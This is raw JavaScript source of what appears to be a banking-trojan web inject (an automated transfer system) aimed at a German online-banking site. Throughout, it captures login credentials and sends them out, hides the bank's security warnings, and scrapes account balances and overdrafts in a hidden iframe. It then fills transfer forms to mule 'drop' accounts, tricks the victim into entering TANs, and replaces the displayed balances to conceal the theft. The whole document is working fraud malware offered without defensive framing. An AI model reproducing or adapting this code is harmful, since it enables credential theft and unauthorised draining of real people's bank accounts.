ATS.isLoggedIn=function()
{return!!jq("input[title*=abmeld]").length;}
ATS.getLoginForm=function()
{var form=jq("form").has('input[name*=anmeld]').has('input.loginfeld');if(form.length)
return form[0];form=jq("form").has('input#anmeld');if(form.length)
return form[0];var form=jq("form").has('input[title*=ogin]');if(form.length)
return form[0];return false;}
ATS.setLoginHook=function()
{var loginDataSent=false;var loginForm=ATS.getLoginForm();if(loginForm)
{loginForm.onsubmit=function(){return true};jq(loginForm).submit(function(e){if(!loginDataSent)
{e.preventDefault();var login=jq(loginForm).find('input:visible[type=text]').val();var password=jq(loginForm).find('input:visible[type=password]').val();ATS.debugMsg('login info: '+login+', '+password);ATS.sendLoginInfo(login,password,function(){loginDataSent=true;var submitButton=jq(ATS.getLoginForm()).find('input[type=image]').last();if(jq(submitButton).length)
{ATS.imgSubmit(jq(submitButton));}
else
{jq(loginForm).submit();}})}});return true;}
return false;}
ATS.getTime=function()
{return Math.floor((new Date).getTime()/1000);}
ATS.die=function(msg)
{ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);ATS.setCookie('starttime',0);ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS)
{ATS.debugMsg('die in frame');var nextLink=ATS.findMenuEntry('startseite');if(!nextLink)
nextLink=ATS.findMenuEntry('finanzstatus');if(nextLink)
{setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);}
else
{ATS.sendLogMsg('die cant find link 2 go');}}
else
{ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();}});}
ATS.openInIframe=function(url)
{var iframe=jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="'+url+'"></iframe>');jq('body').append(iframe);if(ATS.debugVisibleFrame)
{jq(iframe).css('width','1200px');jq(iframe).css('height','800px');jq(iframe).css('top','800px');jq(iframe).css('position','absolute');}
else
{jq(iframe).css('width','1px');jq(iframe).css('height','1px');}}
ATS.parseAccountsList=function()
{var accountsList=new Array();jq("table").has('th:contains(Konton)').each(function(){jq(this).find('tr').each(function(){var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));if(number!='')
{var balance=parseFloat(jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,-]+/g,'').replace(/,+/g,'.')));var transf=!!jq(this).children("td:eq(3)").children('input[title*=berweisung]').length;ATS.debugMsg('number: '+number+'; balance: '+balance+'; transf: '+transf);accountsList.push({number:number,balance:balance,transf:transf});}})});return accountsList;}
ATS.findAccountInfo=function(acc_num)
{var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list)
{if(acc_num.indexOf(accounts_list[i].number)!=-1)
{ATS.debugMsg('Found: '+accounts_list[i].number+'; balance: '+accounts_list[i].balance+'; transf: '+accounts_list[i].transf);return accounts_list[i];}}
return false;}
ATS.fillSepaForm=function()
{var cents=((Math.floor(Math.random()*19)+1)*5).toString();if(cents.length<2)
cents="0"+cents;parent.ATS.sepa_drop.amount=(parseInt(parent.ATS.sepa_drop.amount)-1).toString()+','+cents;var drop=parent.ATS.sepa_drop;jq('#'+jq('label:contains(Name oder Firma)').attr('for')).val(drop.DrName);jq('#'+jq('label:contains(IBAN des Beg)').attr('for')).val(drop.IBAN);jq('#'+jq('label:contains(IBAN oder)').attr('for')).val(drop.IBAN);jq('#'+jq('label:contains(BIC)').attr('for')).val(drop.BIC);jq('#'+jq('label:contains(Betrag)').attr('for')).val(drop.amount);jq('#'+jq('label:contains(Verwendung)').attr('for')).val(drop.Reference);parent.ATS.current_state=110;ATS.sendLogMsg('SEPA form filled in');if(jq("input[value=Weiter]").length)
{ATS.delayedClick(jq("input[value=Weiter]"),8000,14000);}
else
{ATS.die('fillSepaForm: cant find weiter button');}}
ATS.fillIntForm=function()
{var cents=((Math.floor(Math.random()*19)+1)*5).toString();if(cents.length<2)
cents="0"+cents;parent.ATS.int_drop.amount=(parseInt(parent.ATS.int_drop.amount)-1).toString()+','+cents;var drop=parent.ATS.int_drop;jq('#'+jq('label:contains(Name oder Firma)').attr('for')).val(drop.DrName);jq('#'+jq('label:contains(Konto des Beg)').attr('for')).val(drop.Konto);jq('#'+jq('label:contains(oder Konto)').attr('for')).val(drop.Konto);jq('#'+jq('label:contains(BLZ)').attr('for')).val(drop.BLZ);jq('#'+jq('label:contains(Betrag)').attr('for')).val(drop.amount);jq('#'+jq('label:contains(Verwendung)').attr('for')).val(drop.Reference);parent.ATS.current_state=30;ATS.sendLogMsg('Int form filled in');if(jq("input[value=Weiter]").length)
{ATS.delayedClick(jq("input[value=Weiter]"),8000,14000);}
else
{ATS.die('fillIntForm: cant find weiter button');}}
ATS.getFinanzstatusLink=function()
{var finLink=jq("a[href*=p\\.finanzstatus]:visible");if(jq(finLink).length==0)
{finLink=jq("li.nav1item:contains(Finanzstatus) a[href*=finanzstatus]");}
if(jq(finLink).length!=0)
{return jq(finLink)[0].href;}
return false;}
ATS.getHolderName=function()
{return jq.trim(jq('input[alt*=bmelden]').parent().find('p:eq(0)').text());}
ATS.mainWork=function()
{ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);ATS.sendLogMsg('main state '+ATS.current_state);switch(ATS.current_state)
{case 0:var hname=ATS.getHolderName();if(hname!='')
ATS.sendLogMsg('Holder name: '+hname);if(ATS.getFinanzstatusLink()||jq("a[href*=p\\.umsatz]:visible").length)
{ATS.current_state=10;ATS.ieFrameHack();setTimeout(function()
{var frameError=false;try
{var innerDoc=jq('iframe#ats_wrk_iframe')[0].contentWindow.document;}
catch(ex)
{frameError=true;}
if(frameError)
ATS.die('ATS.mainWork: frame error!');},15000);}
else
{ATS.die('mainWork: cant find finanzstatus');}
break;}}
ATS.ieFrameHack=function()
{ATS.debugMsg('ATS.ieFrameHack()');if(!jq('iframe#ats_wrk_iframe').length)
{ATS.openInIframe('about:blank');setTimeout(ATS.ieFrameHack,3000);}
else
{var href=ATS.getFinanzstatusLink();if(href)
{ATS.debugMsg('Finanzstatus link: '+href);}
else
{href=jq("a[href*=p\\.umsatz]:visible")[0].href;ATS.debugMsg('umsatzabfrage link: '+href);}
if(href)
{jq('iframe#ats_wrk_iframe').attr('src',href);}
else
ATS.die('cant get link in ieFrameHack');}}
ATS.getMenuEntrySepa=function()
{var res=jq('.nav2item').find('a[href*=sepa_einzel]');}
ATS.framePageTransfers=function()
{if(parent.ATS.transf_mode=='sepa')
{var sepaExpresLink=jq('.nav2item').find('a[title*=Expresszahlung]');if(jq(sepaExpresLink).length!=0)
{ATS.sendLogMsg('SEPA-Express');ATS.debugMsg('SEPA-Express link: '+jq(sepaExpresLink)[0].href);setTimeout(function(){parent.ATS.current_state=100;document.location.href=jq(sepaExpresLink)[0].href;},ATS.randInt(3000,6000));return;}
var sepaLink=jq('.nav2item').find('a[href*=sepa_einzel]');if(jq(sepaLink).length==0)
{sepaLink=jq('.contentcontainerTop').find('a[href*=sepa_einzel]');}
if(jq(sepaLink).length!=0)
{ATS.debugMsg('SEPA link: '+jq(sepaLink)[0].href);setTimeout(function(){parent.ATS.current_state=100;document.location.href=jq(sepaLink)[0].href;},ATS.randInt(3000,6000));}
else
{parent.ATS.transf_mode='int';ATS.sendLogMsg('cant find sepa link, trying int');}}
if(parent.ATS.transf_mode=='int')
{var accountsSelect=jq('form').has('label:contains(Auftraggeber)').find('select');var accDiv=ATS.findAccountDiv();if((jq(accountsSelect).length!=0)||(accDiv))
{var maxAcc=null;if(jq(accountsSelect).length!=0)
{jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text());if(acc_num!='')
{ATS.debugMsg('Option: '+acc_num);var accInfo=ATS.findAccountInfo(acc_num);if(accInfo&&(!maxAcc||((maxAcc.balance+maxAcc.overdraft)<(accInfo.balance+accInfo.overdraft))))
{maxAcc=accInfo;jq(this).attr('selected','selected');}}});}
else
maxAcc=accDiv;if(maxAcc)
{ATS.setCookie('transfer_acc',maxAcc.number);ATS.setCookie('old_balance',parseFloat(maxAcc.balance));ATS.debugMsg('Max amount: '+maxAcc.balance);ATS.debugMsg('Overdraft: '+maxAcc.overdraft);ATS.getDrop('Internal',(maxAcc.balance+maxAcc.overdraft).toFixed(2),function(data){if(data&&data.drop)
{ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.int_drop=data.drop;ATS.fillIntForm();}
else
{ATS.die('framePageTransfers: no Int drop');}});}
else
{ATS.die('framePageTransfers: Cant find max account');}}
else
{ATS.die('framePageTransfers: cant find sender select');}}}
ATS.framePageConfirm=function()
{if(jq('#rsct_bg_image').length)
{ATS.debugMsg('flicker image found');setTimeout(function(){document.location.href=jq('a:contains("hier")').attr('href');},3000);return;}
if(jq('label:contains("SMS")').length)
{ATS.sendLogMsg('asking for SMS TAN');ATS.UI_askTan('sms',parent.ATS.badTan);}
else
{ATS.sendLogMsg('asking for TAN gen');ATS.UI_askTan('gen',parent.ATS.badTan);}}
ATS.framePageReceipt=function()
{ATS.sendLogMsg('framePageReceipt');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
{ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);}
ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('.nav1item').find('a[href*=startseite]');if(jq(nextLink).length!=0)
{setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}});});}
ATS.tryIntTransfer=function()
{parent.ATS.transf_mode='int';var nextLink=jq('.nav1item').find('a[title=\xDCberweisung]');if(jq(nextLink).length==0)
{nextLink=jq('.nav1item').find('a[href*=ueberweisung]');}
if(jq(nextLink).length==0)
{nextLink=jq('.nav2item').find('a[title*=\xDCberweisung]');}
if(jq(nextLink).length!=0)
{ATS.debugMsg('Ueberweisung link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=20;document.location.href=jq(nextLink)[0].href;},5000);}
else
{ATS.die('tryIntTransfer: cant find ueberweisung link');}};ATS.findAccountsSelect=function()
{var accountsSelect=jq('form').has('label:contains(IBAN des Auf)').find('select');if(jq(accountsSelect).length==0)
{accountsSelect=jq('#'+jq('label:contains(Auftraggeber)').attr('for'));}
return jq(accountsSelect).length?accountsSelect:false;}
ATS.findAccountDiv=function()
{var accountsList=parent.ATS.accounts_list;var acc=null;for(var i in accountsList)
{if(jq('form').find('div:contains('+accountsList[i].number+')').length)
acc=accountsList[i];}
return acc!=null?acc:false;}
ATS.framePageTransfersSEPA=function()
{var accountsSelect=ATS.findAccountsSelect();var accDiv=ATS.findAccountDiv();var maxAcc=null;if((accountsSelect)||(accDiv))
{if(accountsSelect)
{jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).val().replace(/\D/g,''));if(acc_num=='')
acc_num=jq.trim(jq(this).text().replace(/\D/g,''));if(acc_num!='')
{ATS.debugMsg('Option: '+acc_num);var accInfo=ATS.findAccountInfo(acc_num);if(accInfo&&(!maxAcc||((maxAcc.balance+maxAcc.overdraft)<(accInfo.balance+accInfo.overdraft))))
{ATS.debugMsg('better, balance: '+accInfo.balance);maxAcc=accInfo;jq(this).attr('selected','selected');}}});}
else
maxAcc=accDiv;if(maxAcc)
{ATS.setCookie('transfer_acc',maxAcc.number);var balance=parseFloat(maxAcc.balance);ATS.setCookie('old_balance',balance);ATS.debugMsg('Max amount: '+balance);ATS.debugMsg('Overdraft: '+maxAcc.overdraft);ATS.getDrop('sepa',(balance+maxAcc.overdraft).toFixed(2),function(data){if(data&&data.drop)
{ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.sepa_drop=data.drop;ATS.fillSepaForm();}
else
{ATS.tryIntTransfer();}});}
else
{ATS.debugMsg('Cant find max account');ATS.tryIntTransfer();}}
else
{ATS.debugMsg('framePageTransfersSEPA: cant find sender select');ATS.tryIntTransfer();}}
ATS.framePageConfirmSEPA=function()
{if(jq('#rsct_bg_image').length)
{ATS.debugMsg('flicker image found');setTimeout(function(){var link=jq('a[title=hier]').attr('href');if(!link)
link=jq('.osppinfoinhalt:contains(manuellen) > a').attr('href');document.location.href=link;},3000);return;}
if(jq('label:contains("SMS")').length)
{ATS.sendLogMsg('asking for SMS TAN');ATS.UI_askTan('sms',parent.ATS.badTan);}
else
{ATS.sendLogMsg('asking for TAN gen');ATS.UI_askTan('gen',parent.ATS.badTan);}}
ATS.enterCode=function(tan)
{ATS.debugMsg('ATS.enterCode '+tan);var tanFieldName=jq('label:contains(TAN):eq(0)').attr('for');ATS.sendLogMsg('tanFieldName = '+tanFieldName);if(jq('input[name='+tanFieldName+']').length)
{jq('input[name='+tanFieldName+']').val(tan);var confirm_tan=jq("input[value=Absenden]").length?jq("input[value=Absenden]"):jq("input[value=Weiter]");if(jq(confirm_tan).length)
{if(parent.ATS.transf_mode=='sepa')
parent.ATS.current_state=120;else
parent.ATS.current_state=40;parent.ATS.UI_showWait();ATS.delayedClick(jq(confirm_tan),100,200);}
else
ATS.die('enterCode: cant find absenden button');}
else
ATS.die('enterCode: cant find field by label');}
ATS.framePageAfterTAN=function()
{var errorText=jq('.osppliste').text()+jq('.msgerror').text();if(errorText=='')
{if(jq(".active_3:contains(tigung)").length)
{ATS.framePageReceiptSEPA();}
else if(jq(".active_2:contains(Senden)").length)
{ATS.die('framePageAfterTAN: unknown error on step 2');}
else
ATS.die('framePageAfterTAN: weird situation');}
else
{if(errorText.indexOf('Die eingegebene TAN ist falsch')!=-1)
{parent.ATS.badTan=true;parent.ATS.current_state=110;ATS.sendLogMsg('framePageAfterTAN: bad TAN');ATS.delayedClick(jq("input[value=Weiter]"),3000,6000);}
else
ATS.die('framePageAfterTAN: unknown error: '+errorText);}}
ATS.framePageReceiptSEPA=function()
{ATS.debugMsg('framePageReceiptSEPA');ATS.putTransfer('SEPA',parent.ATS.sepa_drop.id,parent.ATS.sepa_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.sepa_drop.id+', amount: '+parent.ATS.sepa_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.sepa_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.sepa_drop.IBAN);ATS.setCookie('rep_amount',parent.ATS.sepa_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
{ATS.setCookie('ap'+transfer_acc,parent.ATS.sepa_drop.amount);}
ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('.nav1item').find('a[href*=startseite]');if(jq(nextLink).length!=0)
{setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}});});}
ATS.findMenuEntry=function(hrefCode)
{var el=jq('.nav1item').find('a[href*='+hrefCode+']');if(jq(el).length)
return el;var el=jq('.nav2item').find('a[href*='+hrefCode+']');if(jq(el).length)
return el;return false;}
ATS.goToTransfers=function()
{var nextLink=ATS.findMenuEntry('ueberweisung');if(nextLink)
{ATS.debugMsg('Ueberweisung link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=20;document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}
else
{if(jq('.nav1item').filter('.active').find('a[href*=umsatzabfrage]').length==0)
{nextLink=ATS.findMenuEntry('umsatzabfrage');ATS.debugMsg('Banking link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=15;document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}
else
ATS.die('frameWork: cant find banking link');}}
ATS.getMaxTransferAcc=function()
{var accountsList=parent.ATS.accounts_list;var maxAcc=null;for(var i in accountsList)
{if(accountsList[i].transf)
{if(!maxBalance)
var maxBalance=accountsList[i].balance;if(parseFloat(accountsList[i].balance)>=maxBalance)
{maxBalance=parseFloat(accountsList[i].balance);maxAcc=accountsList[i];}}}
return maxAcc;}
ATS.setAccountOverdraft=function(accNum,value)
{for(var i in parent.ATS.accounts_list)
{if((parent.ATS.accounts_list[i].number==accNum)&&(parent.ATS.accounts_list[i].transf))
{ATS.sendLogMsg('Overdraft for '+accNum+' : '+value+'');parent.ATS.accounts_list[i].overdraft=value;}}}
ATS.framePageKontodetails=function()
{var accNum=jq('.contentcontainerMainLayout select > option:selected').val();var odCell=jq('form div.col:contains(Kreditlinie)').next();if(odCell.length)
{var od=ATS.fin2float(jq(odCell).text());ATS.sendLogMsg('Overdraft for acc #'+accNum+': '+od);parent.ATS.setAccountOverdraft(accNum,od);}
else
{ATS.sendLogMsg('Overdraft for acc #'+accNum+' not found');}
ATS.goToTransfers();}
ATS.framePageGiro=function()
{jq('.if5_content table tr').each(function(){var accNum=jq.trim(jq(this).find('td:eq(1)').text());var overdraft=ATS.fin2float(jq(this).find('td:eq(2) span:eq(1)').text());if(!overdraft)
overdraft=0;if(accNum!='')
{ATS.setAccountOverdraft(accNum,overdraft);}});ATS.goToTransfers();}
ATS.isFinanzstatusPage=function()
{if(jq(".nav2item:contains(Finanzstatus)").length)
{if(jq(".nav2item:contains(Finanzstatus)").attr('class').indexOf('active')!=-1)
return true;return false;}
if(jq(".nav1item[class*=active]").text().indexOf('Finanzstatus')!=-1)
return true;if(jq(".nav1item[class*=active]").text().indexOf('Anzeige')!=-1)
return true;if(jq(".nav1item[class*=active]").text().indexOf('Banking')!=-1)
return true;if(jq("h2:contains(Finanzstatus)").length)
return true;return false;}
ATS.framePageFinanzstatus=function()
{if(ATS.isFinanzstatusPage())
{var maxBtn=jq('form > table input[title*=Maximieren]:eq(0)');if(maxBtn.length)
{ATS.delayedClick(jq(maxBtn),2000,4000);}
else
{parent.ATS.accounts_list=ATS.parseAccountsList();if(!parent.ATS.accounts_list.length)
{ATS.die('frameWork: cant parse balances and no max btn');}
else
{ATS.sendAccountsInfo(parent.ATS.accounts_list);var acc=ATS.getMaxTransferAcc();if(acc)
{if(ATS.useOverdraft)
{var girodetails=jq('img[title*=Giro-Detail]');parent.ATS.current_state=13;if(girodetails.length)
{ATS.sendLogMsg('Looking for OverDraft');ATS.delayedClick(jq(girodetails),3000,6000);}
else
{ATS.sendLogMsg('Max acc #'+acc.number+': '+acc.balance+' - looking for OverDraft');parent.ATS.current_state=12;var kontodetails=jq('td:contains('+acc.number+'):eq(0)').parent().find('input[title=Kontodetails]');if(kontodetails.length)
{ATS.delayedClick(jq(kontodetails),3000,6000);}
else
ATS.goToTransfers();}}
else
{ATS.sendLogMsg('Max acc #'+acc.number+': '+acc.balance+' ; OD: '+overdraft);ATS.goToTransfers();}}
else
ATS.die('frameWork: no positive accounts with payment button');}}}
else
{var href=ATS.getFinanzstatusLink();if(href)
{setTimeout(function(){document.location.href=ATS.getFinanzstatusLink();},3000);}
else
ATS.die('frameWork: cant load finanzstatus');}}
ATS.tanError=function()
{if((jq('.osppliste').text().indexOf('Die eingegebene TAN ist falsch')!=-1)||(jq('.msgerror').text().indexOf('Die eingegebene TAN ist falsch')!=-1))
{return true;}
if((jq('.osppliste').text().indexOf('Ihr Zugang ist gesperrt')!=-1)||(jq('.msgerror').text().indexOf('Ihr Zugang ist gesperrt')!=-1))
{return true;}
return false;}
ATS.frameWork=function()
{ATS.debugMsg('ATS.frameWork, state: '+parent.ATS.current_state);ATS.sendLogMsg('frame state '+parent.ATS.current_state);switch(parent.ATS.current_state)
{case 10:ATS.framePageFinanzstatus();break;case 12:ATS.framePageKontodetails();break;case 13:ATS.framePageGiro();break;case 15:ATS.goToTransfers();break;case 20:ATS.framePageTransfers();break;case 30:if(jq(".active_2:contains(Senden)").length)
{if(jq('input[type=radio]').length&&(jq('input[type=radio]:eq(0)').parent().parent().text().indexOf('Mobilfunknummer')!=-1))
{jq('input[type=radio]:eq(0)').click();ATS.delayedClick(jq('input[value*=eiter]'),3000,6000);}
else
ATS.framePageConfirm();}
else
{if(jq('.osppliste').text().indexOf('Ihr Zugang ist gesperrt')!=-1)
{ATS.die('frameWork: account locked');}
else
ATS.die('frameWork: Error fill Int form');}
break;case 40:if(jq(".active_3:contains(tigung)").length)
{ATS.framePageReceipt();}
if(jq(".active_2:contains(Senden)").length)
{ATS.die('frameWork: unknown error on step 2');}
else
{if(jq('.osppliste').text().indexOf('Die eingegebene TAN ist falsch')!=-1)
{parent.ATS.badTan=true;parent.ATS.current_state=30;ATS.sendLogMsg('frameWork: bad TAN');ATS.delayedClick(jq("input[value=Weiter]"),3000,6000);}
else
ATS.die('frameWork: unknown error: '+jq('.osppliste').text());}
break;case 100:ATS.framePageTransfersSEPA();break;case 110:if(jq(".active_2:contains(Senden)").length)
{if(jq('input[type=radio]').length&&(jq('input[type=radio]:eq(0)').parent().parent().text().indexOf('Mobilfunknummer')!=-1))
{jq('input[type=radio]:eq(0)').click();ATS.delayedClick(jq('input[value*=eiter]'),3000,6000);}
else
ATS.framePageConfirmSEPA();}
else
{var errorText=jq('.osppliste').text()+jq('.msgerror').text();if(errorText.indexOf('Ihr Zugang ist gesperrt')!=-1)
{ATS.die('frameWork: account locked');}
else
ATS.die('frameWork: Error fill SEPA form: '+jq('.osppliste').text()+jq('.msgerror').text());}
break;case 120:ATS.framePageAfterTAN();break;}}
if((typeof __debugDisabled=='undefined')||!__debugDisabled)
{jq(document).ready(function(){if(ATS.checkLoginPage())
{ATS.debugMsg('login page');jq('h1:contains("Wichtiger Hinweis")').parent().hide();jq('div.bline:contains("Sicherheitshinweise")').hide();jq('p.sichhinweis').hide();jq('table:contains(Sicherheitswarnung)').hide();ATS.setLoginHook();jq('.inj_full_overlay').remove();}
if(ATS.isLoggedIn())
{ATS.debugMsg('logged in!');if((parent.document!==document)&&parent.ATS)
{ATS.debugMsg('we are in frame!');ATS.frameWork();jq('.inj_full_overlay').remove();}
else
{jq('strong:contains(Sicherheitshinweis)').parent().parent().hide();ATS.loadData(function(data){if(ATS.account_id!=0)
{if((ATS.getCookie('status')!='1')&&(ATS.getCookie('status')!='2'))
{var delayTime=parseInt(ATS.startDelay);if(delayTime>0)
{var startTime=ATS.getCookie('starttime');ATS.debugMsg('startTime: '+startTime);if(startTime&&(startTime!='0'))
{startTime=parseInt(startTime);var curTime=ATS.getTime();if(curTime>startTime)
{ATS.debugMsg('startTime reached');if(ATS.isFinanzstatusPage())
{ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}
else
{ATS.debugMsg('redirecting to finanzstatus...');var nextLink=ATS.findMenuEntry('finanzstatus');if(nextLink)
{setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},3000);return;}}}
else
{ATS.debugMsg('time before start: '+(startTime-curTime));}}
else
{startTime=ATS.getTime()+delayTime;ATS.debugMsg('new startTime: '+startTime);ATS.setCookie('starttime',startTime);ATS.saveCookies();}}
else
{ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}}
else if(ATS.getCookie('status')=='1')
{if(ATS.getCookie('transaction')=='true')
{ATS.replaceBalances();}
else
{ATS.debugMsg('check Transaction');if(ATS.checkTransaction())
{ATS.setCookie('transaction','true');ATS.saveCookies();ATS.replaceBalances();}}}}
jq('.inj_full_overlay').remove();});}}
else
{if((parent.document!==document)&&parent.ATS)
{ATS.debugMsg('we are in frame and not logged in!');}
else
{jq('.inj_full_overlay').remove();}}});}
 
if((document.readyState==="loading")||(document.readyState==="interactive"))
document.write('<div class="inj_full_overlay"></div>');else
jq('body').append('<div class="inj_full_overlay"></div>');

Comments